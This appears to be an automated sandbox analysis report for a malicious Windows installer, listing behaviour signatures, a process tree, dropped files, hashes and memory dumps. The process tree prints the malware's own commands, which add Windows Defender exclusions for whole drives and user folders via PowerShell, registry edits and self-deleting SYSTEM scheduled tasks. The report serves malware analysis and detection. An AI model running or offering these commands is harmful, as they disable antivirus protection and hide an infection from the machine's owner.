Analysis

  • max time kernel
    144s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 09:14

General

  • Target
    install_q2.0.08.exe
  • Size 25.4MB
  • Sample260905-k7tejada22
  • SHA256 838ff6caca6dfbf81fc3bb9c2c4d605ce2ccf4fdf9ac7bd97baa170d0216572a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q2.0.08.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q2.0.08.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3528
  • C:\Users\Public\P0oa1U\1zNg1K.exe
    "C:\Users\Public\P0oa1U\1zNg1K.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1480
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\P0oa1U\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\P0oa1U\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4824
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1392
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2692
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4040
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5500
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3260
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2928
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5164
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4580
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4704
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3116
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2016
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2840
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2756
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4220
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1496
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1568
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5356
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1560
                      • C:\Users\Public\P0oa1U\1zNg1K.exe
                        "C:\Users\Public\P0oa1U\1zNg1K.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4140
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\P0oa1U" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2400
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\P0oa1U" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5504
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3564
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5348
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:1224
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5880
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5908

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                1BA79029EC3FFD076F5DAC2F70A18685

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                                • Size 1KB
                                • SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
                                • MD5 SHA1 SHA512 TLSH

                                1BA79029EC3FFD076F5DAC2F70A18685

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                                • Size 186B
                                • SHA256 31148dba924a077f2380cc2b98043d1d081fdfee4d98fbf1eb29d13b95762168
                                • MD5 SHA1 SHA512 TLSH

                                1zNg1K.exe

                                • Path C:\Users\Public\P0oa1U\1zNg1K.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\P0oa1U\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 edb8502b91b922445f461e3d5b71e698a98865f6143ea6132b7cafd4edc07ac4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\P0oa1U\adoresd.dat
                                • Size 4.7MB
                                • SHA256 4ae897c59a274c0ef4932dc25bb6f72dadf46b6f14be235f6df3811e35c72e59
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\P0oa1U\msadox.tb
                                • Size 8KB
                                • SHA256 5f2bc8dd2ef5446b977bb9620f8cfbe8fba61a3613aff1971d471e604b55bdfa
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1200-562-0x0000019766F70000-0x0000019766FFA000-memory.dmp

                                memory/1200-566-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-533-0x00007FFC353D0000-0x00007FFC353D2000-memory.dmp

                                memory/1200-534-0x00007FFC12760000-0x00007FFC12C7E000-memory.dmp

                                memory/1200-569-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-568-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-539-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-542-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-541-0x00007FFC353E0000-0x00007FFC353E2000-memory.dmp

                                memory/1200-546-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-547-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-549-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-548-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-553-0x00000197679C0000-0x0000019768247000-memory.dmp

                                memory/1200-559-0x00000197656E0000-0x000001976572E000-memory.dmp

                                memory/1200-564-0x0000019766F70000-0x0000019766FFA000-memory.dmp

                                memory/1200-561-0x0000019766F70000-0x0000019766FFA000-memory.dmp

                                memory/1200-560-0x0000019766F70000-0x0000019766FFA000-memory.dmp

                                memory/1480-605-0x0000018DF4CD0000-0x0000018DF4CF2000-memory.dmp

                                memory/1480-611-0x0000018DF4D50000-0x0000018DF4D5A000-memory.dmp

                                memory/1480-610-0x0000018DF4F90000-0x0000018DF5042000-memory.dmp

                                memory/1480-609-0x0000018DF4D30000-0x0000018DF4D4E000-memory.dmp

                                memory/3528-528-0x00007FFC2CC40000-0x00007FFC2CC52000-memory.dmp

                                memory/3528-504-0x00007FFC2CC40000-0x00007FFC2CC52000-memory.dmp

                                memory/3528-527-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/3528-2-0x0000000000490000-0x000000000049C000-memory.dmp

                                memory/3528-1-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/3528-0-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4140-584-0x00007FFC353E0000-0x00007FFC353E2000-memory.dmp

                                memory/4140-592-0x00000212D42B0000-0x00000212D4B37000-memory.dmp

                                memory/4140-591-0x00000212D42B0000-0x00000212D4B37000-memory.dmp

                                memory/4140-593-0x00007FFC353D0000-0x00007FFC353D2000-memory.dmp

                                memory/4140-590-0x00000212D42B0000-0x00000212D4B37000-memory.dmp

                                memory/4140-589-0x00000212D42B0000-0x00000212D4B37000-memory.dmp

                                memory/4140-585-0x00000212D42B0000-0x00000212D4B37000-memory.dmp

                                memory/4140-581-0x00000212D42B0000-0x00000212D4B37000-memory.dmp

                                memory/4140-578-0x00007FFC12760000-0x00007FFC12C7E000-memory.dmp